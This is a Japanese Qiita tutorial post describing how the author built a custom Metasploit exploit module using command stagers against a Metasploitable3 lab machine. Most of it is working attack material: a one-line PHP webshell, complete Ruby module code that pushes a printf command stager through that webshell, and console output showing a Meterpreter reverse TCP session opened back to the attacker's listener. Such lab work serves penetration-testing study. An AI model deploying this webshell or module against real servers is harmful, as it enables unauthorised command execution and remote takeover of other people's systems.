0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

MetasploitのExploitモジュールを作成してみた(command stagers版)

Last updated at Posted at 2025-05-14

MetasploitのサイトにあるHow to use command stagersに従って、WebShellからリバースシェルで接続するExploitモジュールを作成してみました。

最初に

基本的には、How to use command stagersのコードを使用していますが、そのままだと、send_request_cgi methodが無いというエラーで実行できませんでしたので、include Msf::Exploit::Remote::HttpClientを追加しました。

WebShell

Metasploitable3のuploadsフォルダにdavtestを使用してアップロードします。

webshell.php
<?php echo system($_GET['cmd']); ?>

モジュール

custom_cmd_stager.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Command Injection Using CmdStager',
        'Description' => %q{
          This exploits a command injection using the command stager.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'tsuko5963' ],
        'References' => [ [ 'URL', 'http://metasploit.com' ] ],
        'Platform' => 'linux',
        'Targets' => [ [ 'Linux', {} ] ],
        'Payload' => { 'BadChars' => "\x00" },
        'CmdStagerFlavor' => [ 'printf' ],
        'Privileged' => false,
        'DisclosureDate' => '2025-05-13',
        'DefaultTarget' => 0
      )
    )
  end

  def filter_bad_chars(cmd)
    cmd.gsub!(/chmod \+x/, 'chmod 777')
    cmd.gsub!(/;/, ' %26%26 ')
    cmd.gsub!(/ /, '+')
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => '/uploads/webshell.php',
        'encode_params' => false,
        'vars_get' => {
          'cmd' => "#{filter_bad_chars(cmd)}"
        }
      }
    )
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager
  end

end

command stagerでは、フレーバーを指定して、攻撃コードを選択するようです。
今回のフレーバーは、'printf'です。
exploitで、execute_cmdstagerを実行すると、攻撃コードを設定して、execute_commandが実行されるようです。
モジュールを~/.msf4/modules/exploits/にコピーします。

実行

metasploitを起動します。

msfconsole

custom_modを選択して、RHOSTSとLHOSTを設定して、オプションを確認します。

[msf](Jobs:0 Agents:0) >> use custom_cmd_stager
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> set rhosts 192.168.56.123
rhosts => 192.168.56.123
[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> set lhost 192.168.56.10
lhost => 192.168.56.10
[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> show options

Module options (exploit/custom_cmd_stager):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type
                                       :host:port][...]
   RHOSTS   192.168.56.123   yes       The target host(s), see https://docs.metaspl
                                       oit.com/docs/using-metasploit/basics/using-m
                                       etasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is
                                        randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is
                                       random)
   VHOST                     no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to liste
                                       n on. This must be an address on the local m
                                       achine or 0.0.0.0 to listen on all addresses
                                       .
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.10    yes       The listen address (an interface may be specif
                                     ied)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux



View the full module info with the info, or info -d command.

実行します。

[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> run
[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Exploiting...
[*] Sending stage (1017704 bytes) to 192.168.56.123
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.123:46829) at 2025-05-14 12:43:01 +0900
[*] Command Stager progress - 100.00% done (820/820 bytes)

(Meterpreter 1)(/var/www/uploads) > 
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?